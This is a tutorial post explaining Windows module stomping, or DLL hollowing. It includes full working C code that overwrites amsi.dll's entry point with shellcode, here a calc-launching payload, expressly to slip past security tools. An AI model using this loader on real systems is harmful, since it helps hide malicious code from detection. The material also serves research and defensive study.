Local Module Stomping / DLL Hollowing

Code execution by replacing a module (DLL) .text section with shellcode

Intro

The term "stomping" means replacing the content of a specific memory region. in module stomping (A.K.A. DLL hollowing), a malicious code (shellcode) replaces the content of .text section of a legitimate loaded module (DLL).

In classic code execution/injection techniques where shellcode is injected in memory using memory allocation APIs (e.g., VirtualAlloc/Ex), the allocated memory region is not backed by a module on disk (for example a benign DLL path likeC:\windos\system32\user32.dll).

This behavior looks suspicious in the eyes of security solutions and malware analysts. to avoid allocating such memory regions, we can load a benign DLL into our process and overwrite its content with our malicious shellcode; then, we execute the DLL entry point which in turn will invoke the shellcode.


Control Flow Guard

Control Flow Guard (CFG) is a security mechanism introduced in Windows to prevent indirect control flow attacks, such as code injection or Return-Oriented Programming (ROP). CFG ensures that only valid, pre-verified function entry points can be used as destinations for indirect calls or jumps.

In case of module stomping, CFG verifies that a function pointer (or indirect jump/call destination) points to a legitimate entry point of a function within an executable module. Shellcode injected into a DLL via module stomping does not reside at a valid function entry point recognized by CFG. so if the shellcode is executed via an indirect call or jump, CFG will intercept the execution attempt because the overwritten memory does not point to a valid function entry point.


Module Stomping / DLL Hollowing

The execution flow of this technique is like this:

  1. Load a legitimate DLL into current process

  2. Retrieve module information using GetModuleInformation

  3. Find the DLL entry point address in memory

  4. Stomping the .text section of module with our shellcode

  5. Executing DLL entry point which will invoke the shellcode

Loading the Module

I covered DLL loading process in previous posts in the series, checkout Dynamic Load Library for more info.

Loading the module is as simple as calling LoadLibraryW API and pass the name of DLL:

    wchar_t BenignDllModule[] = L"C:\\windows\\system32\\amsi.dll";
    HMODULE hModule = NULL;

    hModule = LoadLibraryW(BenignDllModule);
    if (!hModule) {
        printf("[-] Failed to load DLL: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module loaded at 0x%p\n", hModule);
    }

Retrieving Module Information

To get the module information such as different PE headers and sections, we use the GetModuleInformation function.

This function takes a handle to target process (in this case, from GetCurrentProcess()) and a handle to target module (hModule), then returns a structure of type MODULEINFO :

typedef struct _MODULEINFO {
  LPVOID lpBaseOfDll;              // Module base address
  DWORD  SizeOfImage;              // size of module image
  LPVOID EntryPoint;               // Module entry point address
} MODULEINFO, *LPMODULEINFO;

This structure contains 3 members, we only need the EntryPoint parameter.

The code to retrieve the structure looks like this:

MODULEINFO moduleInfo;        // holds module info

if (!GetModuleInformation(
GetCurrentProcess(),         // returns a handle to current process 
 hModule,                    // handle to loaded module (amsi.dll)
  &moduleInfo,               // empty structure to hold returned data (output)
   sizeof(moduleInfo))       // size of MODULEINFO structure
   ) {
    printf("[-] Failed to get module info: %d\n", GetLastError());
    return 1;
}

Calculating the DLL Entry Point

The address retrieved from MODULEINFO points to the base address module PE in memory. in order to find the address of module entry point (the first function executed when the module is loaded into process memory. e.g., DllMain) we have to walk the PE headers to get to the AddressOfEntryPoint offset. the flow looks like this:

hModule (Base Address of DLL)

e_lfanew (Offset to PE header)

PE Header -> OptionalHeader -> AddressOfEntryPoint (Offset to entry point)

Add the AddressOfEntryPoint to hModule -> Entry Point Address

And here is the code for finding the entry point:

void* DllEntryPoint = NULL;

// Calculate the base address of DLL entry point
DllEntryPoint = (void*)((DWORD_PTR)hModule + ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);

Breakdown of the code:

  • (DWORD_PTR)hModule:

    • hModule is a handle to the loaded DLL. It's a pointer to the base address of the module in memory.

    • We cast it to DWORD_PTR (which is typically a uintptr_t type), ensuring that we can perform pointer arithmetic on it (i.e., adding and offsetting memory addresses).

  • (PIMAGE_DOS_HEADER)hModule:

    • A PIMAGE_DOS_HEADER is a pointer to the DOS header of the executable (in this case, the DLL).

    • The DOS header is the first part of an executable file and contains various fields. One of the key fields is the e_lfanew, which points to the start of the PE (Portable Executable) header.

  • ((PIMAGE_DOS_HEADER)hModule)->e_lfanew:

    • e_lfanew is the offset to the PE header from the beginning of the file. This value is stored in the DOS_HEADER structure. In the context of a loaded DLL, e_lfanew will give us the offset from hModule to the PE header.

  • (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew):

    • Now, we use the value from e_lfanew to locate the PE header in memory. The PE header contains vital information about the executable, including the OptionalHeader, which holds information about the entry point.

    • We cast the address to PIMAGE_NT_HEADERS (a pointer to the PE header structure) so we can access its fields.

  • ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint:

    • The AddressOfEntryPoint field in the OptionalHeader tells us the relative offset (from the base address of the module) to the entry point of the DLL.

    • This field provides the location where the execution of the DLL starts, often the DllMain function or any custom entry point defined by the DLL.

  • (void*)((DWORD_PTR)hModule + AddressOfEntryPoint):

    • Finally, we add the AddressOfEntryPoint to the base address of the module (hModule) to calculate the absolute address of the entry point in memory.

    • The result is a pointer (void*) to the entry point of the loaded DLL.

Stomping the Module

To stomp the module with our shellcode, we have to change its memory protection to RW (read/write) to be able to overwrite the memory content at that address. then we have to copy the shellcode into that address and finally, change the memory protection back to RX (read/execute):

DWORD oldProtect;

// change memory protection to RW
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
    printf("[-] Failed to change memory protection: %d\n", GetLastError());
    return 1;
}
else {
    printf("[+] Module memory protection changed to RW\n");
}

// copy the shellcode to module address space
memcpy(DllEntryPoint, shellcode, sizeof(shellcode));
printf("[+] Module .text section has been stomped with shellcode\n");

// change memory protection back to RX
if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
    printf("[-] Failed to revert memory protection: %d\n", GetLastError());
    return 1;
}
else {
    printf("[+] Module memory protection set back to RX\n");
}

Executing DLL entry point

Finally, to invoke our shellcode which now resides in the address of module entry point, we simply call the DLL entry point using a function pointer:

((void(*)())DllEntryPoint)()

Final Code

The complete module stomping code will be this:

LocalModuleStomping.c
#include <stdio.h>
#include <windows.h>
#include <psapi.h>

int main()
{
    wchar_t BenignDllModule[] = L"C:\\windows\\system32\\amsi.dll"; // Benign DLL to load
    HMODULE hModule = NULL;
    void* DllEntryPoint = NULL;

    // calc shellcode
    unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
        0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
        0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
        0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
        0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
        0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
    };

    // Loading benign module into current process
    hModule = LoadLibraryW(BenignDllModule);
    if (!hModule) {
        printf("[-] Failed to load DLL: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module loaded at 0x%p\n", hModule);
    }

    // Get the entry point of the loaded DLL
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
        printf("[-] Failed to get module info: %d\n", GetLastError());
        return 1;
    }

    // Calculate the base address of DLL entry point
    DllEntryPoint = (void*)((DWORD_PTR)hModule + ((PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);

    printf("[+] DLL Entry point found at: 0x%p\n", DllEntryPoint);

    // Change the memory protection of the entry point to RW (Read/Write)
    DWORD oldProtect;

    if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_READWRITE, &oldProtect)) {
        printf("[-] Failed to change memory protection: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module memory protection changed to RW\n");
    }

    // Overwrite the entry point with the shellcode
    memcpy(DllEntryPoint, shellcode, sizeof(shellcode));
    printf("[+] Module .text section has been stomped with shellcode\n");

    // Change the memory protection back to RX (Read/Execute) to execute the shellcode
    if (!VirtualProtect(DllEntryPoint, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("[-] Failed to revert memory protection: %d\n", GetLastError());
        return 1;
    }
    else {
        printf("[+] Module memory protection set back to RX\n");
    }

    printf("[*] Press <Enter> to execute DLL entry point...\n");
    getchar();
    // Call the entry point to execute the shellcode
    ((void(*)())DllEntryPoint)();

    return 0;
}

If we run the code, the module base address and the address of entry point is printed in the terminal:

As you can see, the memory region is backed by amsi.dll module on disk.

If we check the module properties in System Informer, we see that its a Microsoft signed binary:

And the address of entry point:

But when we hit Enter, the calc will pop up :)


Resources & References


Code Samples

Code snippets are available on GitHub:

Last updated

Was this helpful?